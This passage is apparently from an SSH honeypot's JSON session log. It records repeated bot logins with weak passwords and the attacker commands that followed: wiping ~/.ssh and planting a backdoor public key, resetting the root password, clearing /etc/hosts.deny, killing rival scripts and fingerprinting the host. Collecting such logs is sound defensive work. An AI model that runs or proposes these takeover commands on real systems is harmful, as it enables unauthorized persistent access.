GNU/Linux"},{"seq":27,"at":"2026-08-27T00:36:41.810491+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:36:42.449703+00:00","kind":"output","latency_ms":null,"data":"michal"},{"seq":29,"at":"2026-08-27T00:36:42.985085+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:36:44.033081+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:36:44.573136+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:36:45.884458+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"michal","password":"michal123","method":"password","accepted":true,"tier":"other"}]} {"id":"1d3ba961-9947-47ed-8fd6-6400b59e5ee3","name":"solar-rapid-bison","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":56892,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:33:42.846708+00:00","ended_at":"2026-08-27T00:33:44.173413+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2161,"events":[{"seq":1,"at":"2026-08-27T00:33:13.223764+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:33:13.750028+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:33:23.810854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:33:24.674068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:33:25.206832+00:00","kind":"input","latency_ms":null,"data":"echo \"root:K7bcLkCDsZzD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:33:25.775193+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:33:26.291438+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:33:27.023209+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:33:27.558487+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:33:28.921128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:33:29.589094+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:33:30.799353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:33:31.354132+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:33:32.228867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:33:32.751025+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:33:33.632228+00:00","kind":"output","latency_ms":null,"data":" 00:33:33 up 6 days, 21:23, 0 user, load average: 0.12, 0.12, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:33:34.145543+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:33:34.683739+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:33:35.210666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:33:35.690266+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:33:36.213620+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:33:36.619139+00:00","kind":"output","latency_ms":null,"data":"top - 00:33:36 up 6 days, 21:23, 0 user, load average: 0.12, 0.12, 0.14\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:33:37.140958+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:33:38.008442+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:33:38.528226+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:33:39.143886+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:33:39.663130+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:33:40.526173+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:33:41.045329+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:33:42.324334+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:33:42.847464+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:33:44.012445+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin_123!","method":"password","accepted":true,"tier":"other"}]} {"id":"b6208ed3-6316-446d-9834-3837e3d83399","name":"nautical-graceful-chinchilla","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":58962,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:30:43.803559+00:00","ended_at":"2026-08-27T00:30:45.265857+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T00:30:15.886338+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:30:16.395202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:30:25.983728+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:30:26.523854+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:30:27.055132+00:00","kind":"input","latency_ms":null,"data":"echo \"root:WWL8jYkFWDPg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:30:27.565729+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:30:28.072024+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:30:28.779065+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:30:29.298788+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:30:30.569023+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:30:31.080167+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:30:32.290257+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:30:32.811293+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:30:33.576650+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:30:34.084511+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:30:34.366743+00:00","kind":"output","latency_ms":null,"data":" 00:30:34 up 6 days, 21:20, 0 user, load average: 0.14, 0.11, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:30:34.878684+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:30:35.618228+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:30:36.138251+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:30:36.853571+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:30:37.363137+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:30:37.650900+00:00","kind":"output","latency_ms":null,"data":"top - 00:30:37 up 6 days, 21:20, 0 user, load average: 0.14, 0.11, 0.15\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:30:38.163822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:30:39.010637+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:30:39.523958+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:30:39.852396+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:30:40.369868+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:30:41.055037+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:30:41.571389+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:30:43.287026+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:30:43.804686+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:30:45.095070+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2wsx3edc!","method":"password","accepted":true,"tier":"other"}]} {"id":"522f4b42-b84d-4bf6-91b3-d747fd167d87","name":"rapid-candid-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":46664,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":516,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:27:42.331054+00:00","ended_at":"2026-08-27T00:27:43.807106+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2078,"events":[{"seq":1,"at":"2026-08-27T00:27:13.065648+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:27:13.593952+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:27:24.802618+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:27:25.280823+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:27:25.794236+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nl9G3iOf3xXC2\\nl9G3iOf3xXC2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:27:26.370820+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nl9G3iOf3xXC2\\nl9G3iOf3xXC2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:27:26.934744+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:27:27.741364+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:27:28.251502+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:27:29.574765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:27:30.089204+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:27:31.081684+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:27:31.598115+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:27:32.229652+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:27:32.748950+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:27:33.466300+00:00","kind":"output","latency_ms":null,"data":" 00:27:33 up 6 days, 21:17, 0 user, load average: 0.17, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:27:33.981834+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:27:34.542420+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:27:35.055634+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:27:35.957325+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:27:36.512709+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:27:37.202992+00:00","kind":"output","latency_ms":null,"data":"top - 00:27:37 up 6 days, 21:17, 0 user, load average: 0.17, 0.16, 0.2\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:27:37.722728+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:27:38.097668+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:27:38.649903+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:27:39.070110+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:27:39.590615+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:27:39.948200+00:00","kind":"output","latency_ms":null,"data":"mailuser"},{"seq":29,"at":"2026-08-27T00:27:40.474472+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:27:41.820062+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:27:42.332694+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:27:43.648849+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mailuser","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"c4fa3bbc-ecba-4a1f-b0ad-4b87b4fe1fae","name":"prairie-ivory-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49256,"username":"ssl","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":530,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:24:30.857302+00:00","ended_at":"2026-08-27T00:24:32.153617+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2072,"events":[{"seq":1,"at":"2026-08-27T00:24:03.453815+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:24:04.002789+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:24:12.470317+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:24:13.273124+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:24:13.803746+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nUgdw3Lxi3Ra5\\nUgdw3Lxi3Ra5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:24:14.515895+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nUgdw3Lxi3Ra5\\nUgdw3Lxi3Ra5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:24:15.063735+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:24:15.654902+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:24:16.191458+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:24:17.061303+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:24:17.593796+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:24:18.983140+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:24:19.735865+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:24:20.541075+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:24:21.066021+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:24:21.740794+00:00","kind":"output","latency_ms":null,"data":" 00:24:21 up 6 days, 21:14, 0 user, load average: 0.14, 0.1, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:24:22.289297+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:24:23.079791+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:24:23.611371+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:24:24.124438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:24:24.835716+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:24:25.386954+00:00","kind":"output","latency_ms":null,"data":"top - 00:24:25 up 6 days, 21:14, 0 user, load average: 0.14, 0.1, 0.14\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:24:26.261457+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:24:27.020933+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:24:27.542869+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:24:27.821151+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:24:28.346734+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:24:28.754202+00:00","kind":"output","latency_ms":null,"data":"ssl"},{"seq":29,"at":"2026-08-27T00:24:29.281623+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:24:30.330347+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:24:30.858327+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:24:31.988809+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ssl","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"5edb1ccb-d4dc-4fe7-b301-528eb53018b3","name":"frank-dappled-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":50422,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":581,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:21:10.422459+00:00","ended_at":"2026-08-27T00:21:11.831471+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T00:20:46.105549+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:20:46.693485+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:20:55.547708+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:20:55.550189+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:20:56.147305+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cDFEPqQz78A8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:20:56.722907+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 